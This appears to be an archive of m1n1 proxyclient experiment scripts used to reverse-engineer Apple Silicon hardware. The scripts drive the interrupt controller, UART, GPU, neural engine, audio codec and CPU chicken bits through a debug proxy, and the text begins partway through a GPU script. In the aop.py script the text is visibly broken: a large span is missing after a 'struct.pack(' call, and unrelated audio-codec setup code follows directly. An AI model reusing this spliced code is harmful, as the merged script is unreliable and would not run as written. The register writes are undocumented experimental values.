store = Store64Cmd(0) ms.append(store) store.addr = ms.cur_addr() + Read64Cmd.offsetof("addr") ms.append(Read64Cmd(0)) store_stamp_addr = Store64Cmd(0) ms.append(store_stamp_addr) ms.append(Read64Cmd(tmp_cmdbuf)) ms.append(Add16Cmd(off_ta_stamp_value)) store = Store64Cmd(0) ms.append(store) store.addr = ms.cur_addr() + Read32Cmd.offsetof("addr") ms.append(Read32Cmd(0)) store_stamp_val = Store64Cmd(0) ms.append(store_stamp_val) ms.append(DoorbellCmd(1)) off = ms.cur_addr() store_stamp_addr.addr = off + CompleteCmd.offsetof("stamp_addr") store_stamp_val.addr = off + CompleteCmd.offsetof("stamp_val") cmd = CompleteCmd() cmd.stamp_addr = 0 cmd.stamp_val = 0 ms.append(cmd) #off = ms.cur_addr() #store_stamp_addr.addr = off + AbortCmd.offsetof("stamp_addr") #store_stamp_val.addr = off + AbortCmd.offsetof("stamp_val") #cmd = AbortCmd() #cmd.stamp_addr = 0 #cmd.stamp_val = 0 #ms.append(cmd) ms.append(Write64Cmd(0xdead, 0)) try: agx.start() #agx.uat.dump(0) print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(2) f = GPUFrame(ctx, sys.argv[1], track=False) r = GPURenderer(ctx, 8, bm_slot=0x10, queue=1) print("==========================================") print("## Submitting") print("==========================================") r.mshook_ta = magic w = r.submit(f.cmdbuf) print("==========================================") print("## Submitted") print("==========================================") mon.poll() agx.poll_objects() print("==========================================") print("## Run") print("==========================================") r.run() while not r.ev_ta.fired: agx.asc.work() agx.poll_channels() #r.wait() agx.poll_objects() print("==========================================") print("## Scratch") print("==========================================") #chexdump(w.scratch.pull().val) #print(hex(w.scratch.pull().val)) #open("68000.dump", "wb").write(w.scratch.pull().val) time.sleep(1) agx.poll_channels() agx.kick_firmware() agx.asc.work() agx.asc.work() agx.poll_channels() #agx.asc.crash.crash_hard() #agx.poll_channels() time.sleep(1) agx.poll_channels() agx.asc.work() agx.asc.work() agx.poll_channels() w = r.submit(f.cmdbuf) r.run() time.sleep(1) agx.poll_channels() finally: mon.poll() agx.poll_objects() agx.uat.invalidate_cache() print(repr(agx.uat.iotranslate(0, 0xffffff8001000000, 0x10))) #print("UAT dump:") #agx.uat.dump(0) #print(f"Val: {p.read64(0x810000000):#x}") p.reboot() m1n1-1.4.11/proxyclient/experiments/aic2_vms.py000077500000000000000000000112761453754430200213730ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.proxy import REGION_RX_EL1 from m1n1.setup import * from m1n1 import asm p.smp_start_secondaries() for i in range(1, 10): p.mmu_init_secondary(i) aic = u.adt["arm-io/aic"].get_reg(0)[0] mon.add(aic, 0xc000) hacr = 0x1f000000056c01#0#xffffffff_ffffffff hcr = HCR(u.mrs(HCR_EL2)) hcr.TIDCP = 0 hcr.TGE = 0 hcr.AMO = 1 hcr.IMO = 1 hcr.FMO = 1 print(hcr) u.msr(HCR_EL2, hcr.value) u.msr(HACR_EL2, hacr) u.inst(0xd5033fdf) # isb AIC_NR_IRQ = aic + 0x04 AIC_RST = aic + 0x10 AIC_CFG = aic + 0x14 AIC_CFG_ENABLE = 1 << 0 AIC_CFG_PREFER_PCORES = 1 << 28 AIC_RR_DELAY = aic + 0x28 AIC_CLUSTER_ENABLE_CFG = aic + 0x30 AIC_SOME_CNT = aic + 0x3c AIC_DELAYS = aic + 0x100 AIC_IDLE_CLUSTERS = aic + 0x340 AIC_TIMESTAMPS = 0x28e101800 AIC_IRQ_CFG = aic + 0x2000 # AIC_IRQ_ROUTE: bits 3:0 ? only 0 works. # AIC_IRQ_CFG_DELAY: bits 7:5 AIC_SW_GEN_SET = aic + 0x6000 AIC_SW_GEN_CLR = aic + 0x6200 AIC_MASK_SET = aic + 0x6400 AIC_MASK_CLR = aic + 0x6600 AIC_HW_STATE = aic + 0x6800 AIC_IRQ_CFG_2 = aic + 0x6a00 AIC_MASK2_SET = aic + 0xae00 AIC_MASK2_CLR = aic + 0xb000 AIC_HW2_STATE = aic + 0xb200 AIC_INTERRUPT_ACK = aic + 0xc000 num_irq = p.read32(AIC_NR_IRQ) & 0xffff code = u.malloc(0x1000) c = asm.ARMAsm(""" write32_ts: isb mrs x2, CNTPCT_EL0 str w1, [x0] mov x0, x2 isb ret en_and_spin: msr DAIFSet, 7 msr DAIFClr, 2 isb b 1f en_and_spin_sec: msr DAIFSet, 7 #msr DAIFClr, 2 isb b 1f 1: cmp x0, #0 beq 2f sub x0, x0, #1 b 1b 2: msr DAIFSet, 7 msr DAIFClr, 2 isb ret """, code) iface.writemem(code, c.data) p.dc_cvau(code, len(c.data)) p.ic_ivau(code, len(c.data)) def cpoll(): mon.poll() mon.poll() def init(): cpoll() p.set32(AIC_RST, 1) p.set32(AIC_CFG, 1 | AIC_CFG_PREFER_PCORES) cpoll() def test_irq_routing(): irq = 24 p.write32(AIC_SW_GEN_CLR, 1 << irq) p.write32(AIC_MASK_CLR, 1 << irq) cpoll() ts = p.call(c.write32_ts, AIC_SW_GEN_SET, 1 << irq) print(f"IRQ triggered at time {ts:#x}") p.nop() print("w") cpoll() cpoll() time.sleep(0.1) #p.write32(AIC_SW_GEN_CLR, 1 << irq) cpoll() def get_irq_state(irq): v = p.read32(AIC_HW_STATE + 4* (irq//32)) return bool(v & 1<<(irq%32)) TEST_CPU = 2 u.msr(DAIF, 0) for i in range(1, 10): u.msr(DAIF, 0x140, call=lambda x, *args: p.smp_call_sync(i, x | REGION_RX_EL1, *args)) u.msr(DAIF, 0x1c0, call=lambda x, *args: p.smp_call_sync(i, x | REGION_RX_EL1, *args)) u.msr((3,4,15,10,4), 0, call=lambda x, *args: p.smp_call_sync(i, x | REGION_RX_EL1, *args)); mpidr = u.mrs(MIDR_EL1, call=lambda x, *args: p.smp_call_sync(i, x | REGION_RX_EL1, args[0], args[1])); print(i, hex(mpidr)) init() def sec_call(x, *args): return p.smp_call_sync(TEST_CPU, x | REGION_RX_EL1, *args) def cpu_call(cpu, x, *args): return p.smp_call_sync(cpu, x | REGION_RX_EL1, *args) u.msr(HCR_EL2, hcr.value, call=sec_call) u.msr(HACR_EL2, hacr, call=sec_call) daif = u.mrs(DAIF) print("DAIF: %x" % daif) daif |= 0x1c0 print("DAIF: %x" % daif) u.msr(DAIF, daif) p.smp_call(TEST_CPU, c.en_and_spin, 0x10000000) test_irq_routing() p.smp_wait(TEST_CPU) p.smp_call(TEST_CPU, c.en_and_spin, 0x10000000) test_irq_routing() p.smp_wait(TEST_CPU) print(hex(c.en_and_spin)) daif = u.mrs(DAIF) print("DAIF: %x" % daif) daif &= ~0x1c0 print("DAIF: %x" % daif) u.msr(DAIF, daif) print("DAIF: %x" % daif) daif &= ~0x1c0 u.msr(DAIF, daif) print("DAIF: %x" % daif) print("ISR", hex(u.mrs(ISR_EL1))) print("ISR #2", hex(u.mrs(ISR_EL1, call=sec_call))) u.msr(DAIF, daif) print("test") # test_irq_routing() daif = u.mrs(DAIF) print("ISR", hex(u.mrs(ISR_EL1))) print("ISR #2", hex(u.mrs(ISR_EL1, call=sec_call))) print("DAIF: %x" % daif) daif &= ~0x1c0 u.msr(DAIF, daif) print("DAIF: %x" % daif) print("ISR", hex(u.mrs(ISR_EL1))) print("ISR #2", hex(u.mrs(ISR_EL1, call=sec_call))) for i in range(0, 10): if i == 0: isr = u.mrs(ISR_EL1) else: isr = u.mrs(ISR_EL1, call=lambda x, *args: cpu_call(i, x, *args)) print(f"{i}: {isr:#x}") u.msr(DAIF, 0x1c0) print("call") p.smp_call_el1(TEST_CPU, c.en_and_spin_sec, 0x20000000) print("test") print(time.time()) test_irq_routing() print(time.time()) print("wait") p.smp_wait(TEST_CPU) print("-") for i in range(1, 10): u.msr(DAIF, 0x140, call=lambda x, *args: p.smp_call_sync(i, x | REGION_RX_EL1, *args)) for i in range(0, 10): if i == 0: isr = u.mrs(ISR_EL1) else: isr = u.mrs(ISR_EL1, call=lambda x, *args: cpu_call(i, x, *args)) print(f"{i}: {isr:#x}") cpoll() p.set32(AIC_RST, 1) cpoll() m1n1-1.4.11/proxyclient/experiments/aic_test.py000077500000000000000000000220011453754430200214470ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm ULCON = 0x235200000 UCON = 0x235200004 UFCON = 0x235200008 UTRSTAT = 0x235200010 AIC = 0x23b100000 AIC_RST = AIC + 0xc AIC_CFG = AIC + 0x10 AIC_TB = 0x23b108000 AIC_TGT_DST = AIC + 0x3000 AIC_SW_GEN_SET = AIC + 0x4000 AIC_SW_GEN_CLR = AIC + 0x4080 AIC_MASK_SET = AIC + 0x4100 AIC_MASK_CLR = AIC + 0x4180 AIC_HW_STATE = AIC + 0x4200 AIC_INTERRUPT_ACK = AIC + 0x2004 AIC_IPI_SET = AIC + 0x2008 AIC_IPI_CLR = AIC + 0x200c AIC_IPI_MASK_SET = AIC + 0x2024 AIC_IPI_MASK_CLR = AIC + 0x2028 daif = u.mrs(DAIF) print("DAIF: %x" % daif) daif &= ~0x3c0 #daif |= 0x3c0 u.msr(DAIF, daif) print("DAIF: %x" % u.mrs(DAIF)) def cpoll(): mon.poll() print("<") mon.poll() print(">") p.write32(AIC + 0xc, 1) p.write32(AIC + 0x10, 0xe0777971) p.write32(AIC + 0x18, 0) p.write32(AIC + 0x20, 0xffffffff) p.write32(AIC + 0x24, 0xffffffff) p.write32(AIC + 0x28, 0xffffffff) p.write32(AIC + 0x2c, 0xffffffff) p.write32(AIC + 0x30, 0xffffffff) p.write32(AIC + 0x34, 0xffffffff) p.write32(AIC + 0x38, 0xffffffff) p.write32(AIC + 0x3c, 0xffffffff) p.write32(AIC + 0x40, 0xffffffff) p.write32(AIC + 0x38, 0xffffffff) #p.write32(AIC + 0xc, 0) p.memset32(AIC_MASK_SET, 0xffffffff, 0x80) p.memset32(AIC_SW_GEN_CLR, 0xffffffff, 0x80) p.memset32(AIC_TGT_DST, 0x1, 0x1000) #p.memset32(AIC_MASK_CLR, 0xffffffff, 0x80) #p.write32(AIC + 0x10, 0xe0777971) mon.add(AIC + 0x0000, 0x1000) mon.add(AIC + 0x2080, 0x040) mon.add(AIC + 0x4000, 0x200) mon.add(AIC + 0x5000, 0x080) mon.add(AIC + 0x5080, 0x080) mon.add(AIC + 0x5100, 0x080) mon.add(AIC + 0x5180, 0x080) mon.add(AIC + 0x5200, 0x080) mon.add(AIC + 0x5280, 0x080) mon.add(AIC + 0x5300, 0x080) mon.add(AIC + 0x5380, 0x080) #mon.add(AIC + 0x3000, 0x400) #mon.add(AIC + 0x4000, 0x400) #mon.add(AIC + 0x8000, 0x20) #mon.add(AIC + 0x8030, 0xd0) #mon.add(0x235200000, 0x20) def test_ipi(): cpoll() print("Set IPI") p.write32(AIC_IPI_SET, 1) cpoll() cpoll() print("Read ACK reg") reason = p.read32(AIC_INTERRUPT_ACK) print("reason: 0x%x" % reason) cpoll() print("Write reason") p.write32(AIC_INTERRUPT_ACK, reason) cpoll() reason = p.read32(AIC_INTERRUPT_ACK) print("reason: 0x%x" % reason) cpoll() print("Write ACK reg") p.write32(AIC_INTERRUPT_ACK, reason) cpoll() print("Clear IPI") p.write32(AIC_IPI_CLR, 1) cpoll() print("Read ACK reg") reason = p.read32(AIC_INTERRUPT_ACK) print("reason: 0x%x" % reason) cpoll() print("Write IPI ACK") p.write32(AIC_IPI_MASK_CLR, 1) cpoll() def test_timer(): cpoll() freq = u.mrs(CNTFRQ_EL0) print("Timer freq: %d" % freq) #u.msr(CNTP_CTL_EL0, 0) #u.msr(CNTP_TVAL_EL0, freq * 2) #u.msr(CNTP_CTL_EL0, 1) #u.msr(CNTV_CTL_EL0, 0) #u.msr(CNTV_TVAL_EL0, freq * 2) #u.msr(CNTV_CTL_EL0, 1) #u.msr(CNTHV_CTL_EL2, 0) #u.msr(CNTHV_TVAL_EL2, freq * 2) #u.msr(CNTHV_CTL_EL2, 1) u.msr(CNTHP_CTL_EL2, 0) u.msr(CNTHP_TVAL_EL2, freq * 2) u.msr(CNTHP_CTL_EL2, 1) iface.ttymode() #while True: #p.nop() #time.sleep(0.3) #print(". %x" % u.mrs(CNTP_CTL_EL0)) def get_irq_state(irq): v = p.read32(AIC_HW_STATE + 4* (irq//32)) return bool(v & 1<<(irq%32)) def test_uart_irq(): cpoll() #p.memset32(AIC_MASK_CLR, 0xffffffff, 0x80) print("cleanup") p.write32(UCON, 5) p.write32(UFCON, 0x11) p.write32(UTRSTAT, 0xfff) cpoll() for irq in range(600, 610): #print("S: ", get_irq_state(irq)) p.write32(AIC_SW_GEN_CLR + 4* (irq//32), 1<<(irq%32)) #print("S: ", get_irq_state(irq)) #print("a") #print("S: ", get_irq_state(irq)) p.write32(AIC_MASK_CLR + 4* (irq//32), 1<<(irq%32)) #print("S: ", get_irq_state(irq)) #print("b") irq = 605 cpoll() print("a") print("S: ", get_irq_state(irq)) print("ucon: %x" %p.read32(UCON)) TX_IRQ_EN = 0x1000 RX_IRQ_ENABLE = 0x20000 RX_IRQ_UNMASK = 0x10000 RX_IRQ_ENA = 0x20000 RX_IRQ_MASK = 0x4000 # defer? code = u.malloc(0x1000) c = asm.ARMAsm(""" ldr x1, =0x235200000 ldr x3, =0xc000000 1: subs x3, x3, #1 bne 1b mov x2, 'A' #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] #str w2, [x1, #0x20] mov x3, #0x3ff str w3, [x1, #0x10] #str w2, [x1, #0x20] str w0, [x1, #4] ldr w0, [x1, #0x10] ldr x3, =0xc00000 1: subs x3, x3, #1 bne 1b #mov x3, #0x3ff #str w3, [x1, #0x10] #ldr w2, [x1, #4] #mov x2, #0x205 #str w2, [x1, #4] #str w0, [x1, #4] ##ldr w0, [x1, #0x10] #ldr x3, =0xc00000 #1: #subs x3, x3, #1 #bne 1b ldr w0, [x1, #0x10] #mov w0, w2 ret """, code) iface.writemem(code, c.data) p.dc_cvau(code, len(c.data)) p.ic_ivau(code, len(c.data)) #RX_IRQ_ """ UCON UTRSTAT 00200 TX FIFO thresh IRQ delivery enable 00080 0200 TX FIFO threshold IRQ unmask 20000 0100 RX IRQ unmask 10000 RX IRQ delivery enable """ # edge triggered TX_FIFO_THRESH_CROSSED_IRQ_UNMASK = 0x2000 TX_IRQ_UNMASK = 0x200 TX_EVENT_ENABLE = 0x80 RX_EVENT_ENABLE = 0x20000 RX_IRQ_UNMASK = 0x10000 #flags = 0x7ffc0 crash = 0x180000 no_irqs = 0x21c5c0 instant_irqs = 0x3a00 #flags = no_irqs | 0x0000 #flags = 0x2e5c0 #flags = 0x2000 #flags = 0x30000 #flags = 0x80 flags = 0x7ff80 val = flags | 0x005 #print("ucon<-%x" % val) #p.write32(UCON, val) p.write32(UTRSTAT, 0xfff) print("utrstat=%x" % p.read32(UTRSTAT)) ret = p.call(code, val) print("utrstat::%x" % ret) print("utrstat=%x" % p.read32(UTRSTAT)) time.sleep(0.5) iface.dev.write(b'1') #print(iface.dev.read(1)) time.sleep(0.1) print("ucon: %x" %p.read32(UCON)) print("delay") try: p.udelay(500000) except: pass iface.dev.write(bytes(64)) p.nop() print("ucon: %x" %p.read32(UCON)) print("S: ", get_irq_state(irq)) #while True: #print("S: ", get_irq_state(irq)) #p.write32(UTRSTAT, 0xfff) #print("utrstat=%x" % p.read32(UTRSTAT)) #print("ucon: %x" %p.read32(UCON)) #print(">S: ", get_irq_state(irq)) #p.write32(UCON, flags | 0x005) #print(">ucon: %x" %p.read32(UCON)) #time.sleep(0.1) def test_smp_ipi(): p.smp_start_secondaries() code = u.malloc(0x1000) c = asm.ARMAsm(""" #define sys_reg(op0, op1, CRn, CRm, op2) s##op0##_##op1##_c##CRn##_c##CRm##_##op2 #define SYS_CYC_OVRD sys_reg(3, 5, 15, 5, 0) msr DAIFClr, 7 ldr x1, =0x000000 msr SYS_CYC_OVRD, x1 mrs x0, SYS_CYC_OVRD mov x1, #0x1000000 1: subs x1, x1, #1 mrs x0, HCR_EL2 bne 1b ret """, code) iface.writemem(code, c.data) p.dc_cvau(code, len(c.data)) p.ic_ivau(code, len(c.data)) print("Enable IRQs on secondaries") for i in range(1, 8): ret = p.smp_call_sync(i, code) print("0x%x"%ret) #e0477971 #p.write32(AIC + 0x10, 0xe0777971) #p.write32(AIC + 0x28, 0xffffffff) cpoll() print("Clear IPI") p.write32(AIC_IPI_CLR, 0xffffffff) p.write32(AIC_IPI_MASK_CLR, 0xffffffff) for i in range(8): p.write32(AIC_IPI_CLR+0x3000+i*0x80, 0xffffffff) p.write32(AIC_IPI_MASK_CLR+0x3000+i*0x80, 0xffffffff) cpoll() print("Set IPI") #p.write32(AIC_IPI_SET, 0x00000004) #p.write32(AIC_IPI_SET, 0x00000000) cpoll() print("Clear IPI") p.write32(AIC_IPI_CLR, 0xffffffff) p.write32(AIC_IPI_MASK_CLR, 0xffffffff) for i in range(8): p.write32(AIC_IPI_CLR+0x3000+i*0x80, 1) p.write32(AIC_IPI_MASK_CLR+0x3000+i*0x80, 1) def test_smp_affinity(): p.write32(AIC_TGT_DST, 0x6) p.write32(AIC_TGT_DST+4, 0xfe) p.write32(AIC_TGT_DST+8, 0xfe) p.write32(AIC_TGT_DST+12, 0x6) p.write32(AIC_SW_GEN_SET,0x8); p.write32(AIC_MASK_CLR,0x8); #test_ipi() #test_timer() #test_uart_irq() test_smp_ipi() test_smp_affinity() m1n1-1.4.11/proxyclient/experiments/amcc_err_handler.py000066400000000000000000000022421453754430200231260ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * #for i in (0x28e580350, 0x28e580328, 0x28e580380, 0x28e580378): #p.write32(i, 0) sts = p.read32(0x20002100c) print(f"status: {sts:#x}") p.write32(0x200021010, 0) p.write32(0x20002100c, 0xfff) time.sleep(0.1) sts = p.read32(0x20002100c) print(f"status: {sts:#x}") print(f"ERRLOG0: {p.read32(0x20000070c):#x}") print(f"ERRLOG1: {p.read32(0x200000710):#x}") print(f"ERRLOG2: {p.read32(0x200000714):#x}") print(f"ERRLOG3: {p.read32(0x200000718):#x}") print(f"ERRLOG4: {p.read32(0x20000071c):#x}") p.write32(0x20000070c, 0xffffffff) #p.fb_shutdown() u.inst("tlbi vmalle1is") #p.memset32(fb, 0xffffffff, 3024 * 1964 * 4) #p.dc_cvac(fb, 3024 * 1964 * 4) #p.memset32(0x100_80000000, 0xffffffff, 0x80000000) #p.memcpy32(fb, fb + 0x1000, 0x800) #p.memset32(fb, 0xfffff, 3024 * 1964 * 4) #p.memset32(fb, 0xffffffff, 3024 * 1964 * 4) #p.memcpy32(0x100_80000000, fb + 0x1000, 0x1800) #p.read8(fb + 0x10) #p.write8(fb + 0x200, 0xdeadbeef) #p.memset32(fb, 0xfffffff, 3024 * 1964 * 4) #p.iodev_write(IODEV.FB, "test\n", 5) m1n1-1.4.11/proxyclient/experiments/ane.py000077500000000000000000000020051453754430200204210ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.shell import run_shell from m1n1.fw.ane import ANE import numpy as np from anect import anect_convert # pip install anect def f16encode(x): return np.float16(x).tobytes() def f16decode(b): return np.frombuffer(b[:2], dtype=np.float16)[0] ane = ANE(u) ane.power_up() if 1: rnges = [(0x26bc04000, 0x26bc28000, 'engine'),] mon = RegMonitor(u) for (start, end, name) in rnges: mon.add(start, end-start, name=name) mon.poll() # should work after ane.power_up() # curl -LJO https://www.dropbox.com/s/lpjap6w0kdlom1h/add.hwx?dl=0 anec = anect_convert("add.hwx") req = ane.fw.setup(anec) x1 = f16encode(1.0) x2 = f16encode(2.0) ane.fw.send_src(req, x1, 0) ane.fw.send_src(req, x2, 1) ane.tm.enqueue_tq(req) ane.tm.execute_tq(req) x3 = ane.fw.read_dst(req, 0) print("what's 1+2? = %f" % f16decode(x3[:2])) run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/experiments/aop.py000077500000000000000000000203121453754430200204360ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct import traceback from construct import * from m1n1.setup import * from m1n1.shell import run_shell from m1n1.hw.dart import DART, DARTRegs from m1n1.fw.asc import StandardASC, ASCDummyEndpoint from m1n1.fw.asc.base import * from m1n1.fw.aop import * from m1n1.fw.aop.ipc import * from m1n1.fw.afk.rbep import * from m1n1.fw.afk.epic import * # Set up a secondary proxy channel so that we can stream # the microphone samples p.usb_iodev_vuart_setup(p.iodev_whoami()) p.iodev_set_usage(IODEV.USB_VUART, USAGE.UARTPROXY) p.pmgr_adt_clocks_enable("/arm-io/dart-aop") adt_dc = u.adt["/arm-io/aop/iop-aop-nub/aop-audio/dc-2400000"] pdm_config = Container( unk1=2, clockSource=u'pll ', pdmFrequency=2400000, unk3_clk=24000000, unk4_clk=24000000, unk5_clk=24000000, channelPolaritySelect=256, unk7=99, unk8=1013248, unk9=0, ratios=Container( r1=15, r2=5, r3=2, ), filterLengths=0x542c47, coeff_bulk=120, coefficients=GreedyRange(Int32sl).parse(adt_dc.coefficients), unk10=1, micTurnOnTimeMs=20, unk11=1, micSettleTimeMs=50, ) decimator_config = Container( latency=15, ratios=Container( r1=15, r2=5, r3=2, ), filterLengths=0x542c47, coeff_bulk=120, coefficients=GreedyRange(Int32sl).parse(adt_dc.coefficients), ) class AFKEP_Hello(AFKEPMessage): TYPE = 63, 48, Constant(0x80) UNK = 7, 0 class AFKEP_Hello_Ack(AFKEPMessage): TYPE = 63, 48, Constant(0xa0) class EPICEndpoint(AFKRingBufEndpoint): BUFSIZE = 0x1000 def __init__(self, *args, **kwargs): self.seq = 0x0 self.wait_reply = False self.ready = False super().__init__(*args, **kwargs) @msg_handler(0x80, AFKEP_Hello) def Hello(self, msg): self.rxbuf, self.rxbuf_dva = self.asc.ioalloc(self.BUFSIZE) self.txbuf, self.txbuf_dva = self.asc.ioalloc(self.BUFSIZE) self.send(AFKEP_Hello_Ack()) def handle_hello(self, hdr, sub, fd): if sub.type != 0xc0: return False payload = fd.read() name = payload.split(b"\0")[0].decode("ascii") self.log(f"Hello! (endpoint {name})") self.ready = True return True def handle_reply(self, hdr, sub, fd): if self.wait_reply: self.pending_call.read_resp(fd) self.wait_reply = False return True return False def handle_ipc(self, data): fd = BytesIO(data) hdr = EPICHeader.parse_stream(fd) sub = EPICSubHeaderVer2.parse_stream(fd) handled = False if sub.category == EPICCategory.REPORT: handled = self.handle_hello(hdr, sub, fd) if sub.category == EPICCategory.REPLY: handled = self.handle_reply(hdr, sub, fd) if not handled and getattr(self, 'VERBOSE', False): self.log(f"< 0x{hdr.channel:x} Type {hdr.type} Ver {hdr.version} Tag {hdr.seq}") self.log(f" Len {sub.length} Ver {sub.version} Cat {sub.category} Type {sub.type:#x} Ts {sub.timestamp:#x}") self.log(f" Unk1 {sub.unk1:#x} Unk2 {sub.unk2:#x}") chexdump(fd.read()) def indirect(self, call, chan=0x1000000d, timeout=0.1): tx = call.ARGS.build(call.args) self.asc.iface.writemem(self.txbuf, tx[4:]) cmd = self.roundtrip(IndirectCall( txbuf=self.txbuf_dva, txlen=len(tx) - 4, rxbuf=self.rxbuf_dva, rxlen=self.BUFSIZE, retcode=0, ), category=EPICCategory.COMMAND, typ=call.TYPE) fd = BytesIO() fd.write(struct.pack("> 8]) i2c2.write_reg(cs42l_addr, regaddr & 0xff, [val]) p.write32(0x23d1f002c, 0x76a02) p.write32(0x23d1f002c, 0x76a03) # take jack codec out of reset cs42l_write(0x1009, 0x0) # FS_int = MCLK/250 cs42l_write(0x1101, 0x7a) # power on cs42l_write(0x1103, 0x22) # power on ring sense cs42l_write(0x1107, 0x1) # SCLK present cs42l_write(0x1121, 0xa6) # Headset Switch Control cs42l_write(0x1129, 0x1) # Headset Clamp Disable cs42l_write(0x1205, 0x7c) # FSYNC period cs42l_write(0x1207, 0x20) # ASP Clock Configuration cs42l_write(0x1208, 0x12) # BITDELAY = 1 cs42l_write(0x120c, 0x1) # SCLK_PREDIV = div-by-2 cs42l_write(0x150a, 0x55) # PLL cs42l_write(0x151b, 0x1) # PLL cs42l_write(0x1501, 0x1) # power on PLL cs42l_write(0x1b70, 0xc3) # HSBIAS sense cs42l_write(0x1b71, 0xe0) # v-- headset cs42l_write(0x1b73, 0xc0) cs42l_write(0x1b74, 0x1f) cs42l_write(0x1b75, 0xb6) cs42l_write(0x1b76, 0x8f) cs42l_write(0x1b79, 0x0) cs42l_write(0x1b7a, 0xfc) cs42l_write(0x1c03, 0xc0) # HSBIAS cs42l_write(0x2506, 0xc) # ASP TX samp. rate cs42l_write(0x2609, 0x4c) # SRC output samp. rate cs42l_write(0x2901, 0x1) # ASP TX enable & size cs42l_write(0x2902, 0x1) # ASP TX channel enable time.sleep(0.01) cs42l_write(0x1201, 0x1) # transition to PLL clock # drain garbled samples (why are they garbled? i am not sure) time.sleep(0.5) dmachan.submit(buflen=0x4000) dmachan.enable() p.write32(mca_switch1_base + 0x8000*cl_no, 0x24800) serdes.STATUS.set(EN=1) while True: while dmachan.can_submit(): dmachan.submit(buflen=0x4000) sys.stdout.buffer.write(dmachan.poll()) m1n1-1.4.11/proxyclient/experiments/chickens.py000077500000000000000000000050561453754430200214560ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * sys_regs = dict([ ("HID0", (3, 0, 15, 0, 0)), ("HID1", (3, 0, 15, 1, 0)), ("EHID20", (3, 0, 15, 1, 2)), ("HID2", (3, 0, 15, 2, 0)), ("HID3", (3, 0, 15, 3, 0)), ("HID4", (3, 0, 15, 4, 0)), ("EHID4", (3, 0, 15, 4, 1)), ("HID5", (3, 0, 15, 5, 0)), ("HID6", (3, 0, 15, 6, 0)), ("HID7", (3, 0, 15, 7, 0)), ("HID8", (3, 0, 15, 8, 0)), ("HID9", (3, 0, 15, 9, 0)), ("EHID9", (3, 0, 15, 9, 1)), ("HID10", (3, 0, 15, 10, 0)), ("EHID10", (3, 0, 15, 10, 1)), ("HID11", (3, 0, 15, 11, 0)), ]) CYC_OVRD = (3, 5, 15, 5, 0) CYC_CFG = (3, 5, 15, 4, 0) L2C_ERR_STS = (3, 3, 15, 8, 0) s3_6_c15_c1_0 = (3, 6, 15, 1, 0) s3_6_c15_c1_6 = (3, 6, 15, 1, 6) s3_4_c15_c1_4 = (3, 4, 15, 1, 4) s3_4_c15_c5_0 = (3, 4, 15, 5, 0) h13e_chickenbits = [ ("EHID4", 0x100000000800, 0), ("HID5", 0x2000000000000000, 0), ("EHID10", 0x2000100000000, 0), ("EHID20", 0x100, 0), ("EHID9", 0, 0x20), ("EHID20", 0x8000, 0), ("EHID20", 0x10000, 0), ("EHID20", 0x600000, 0), ] tlbi_vmalle1 = 0xd508871f def h13e_init(): mpidr = u.mrs(MPIDR_EL1) print("mpidr = 0x%x" % mpidr) #print("OSLAR") #u.msr(OSLAR_EL1, 0) #print("s3_6_c15_c1_0") #u.msr(s3_6_c15_c1_0, 1) #print("tlbi_vmalle1") #u.inst(tlbi_vmalle1) ## This looks like APRR stuff? #v = u.mrs(s3_6_c15_c1_6) #print("s3_6_c15_c1_6 == 0x%x" % v) #v = 0x2020a505f020f0f0 #print("s3_6_c15_c1_6 <= 0x%x" % v) #u.msr(s3_6_c15_c1_6, v) #u.msr(s3_6_c15_c1_0, 0) for reg, setb, clearb in h13e_chickenbits: v = u.mrs(sys_regs[reg]) print("%r == 0x%x" % (reg, v)) v &= ~clearb v |= setb print("%r <= 0x%x" % (reg, v)) u.msr(sys_regs[reg], v) v = u.mrs(s3_4_c15_c5_0) print("s3_4_c15_c5_0 == 0x%x" % v) print("s3_4_c15_c5_0 <= 0x%x" % (mpidr & 0xff)) u.msr(s3_4_c15_c5_0, mpidr & 0xff) u.msr(s3_4_c15_c1_4, 0x100) v = u.mrs(CYC_OVRD) print("CYC_OVRD == 0x%x" % v) v &= ~0xf00000 print("CYC_OVRD <= 0x%x" % v) u.msr(CYC_OVRD, v) v = u.mrs(ACTLR_EL1) print("ACTLR_EL1 == 0x%x" % v) v |= 0x200 print("ACTLR_EL1 <= 0x%x" % v) u.msr(ACTLR_EL1, v) v = u.mrs(CYC_CFG) print("CYC_CFG == 0x%x" % v) v |= 0xc print("CYC_CFG <= 0x%x" % v) u.msr(CYC_CFG, v) print("L2C_ERR_STS = %x" % u.mrs(L2C_ERR_STS)) u.msr(L2C_ERR_STS, 0) h13e_init() 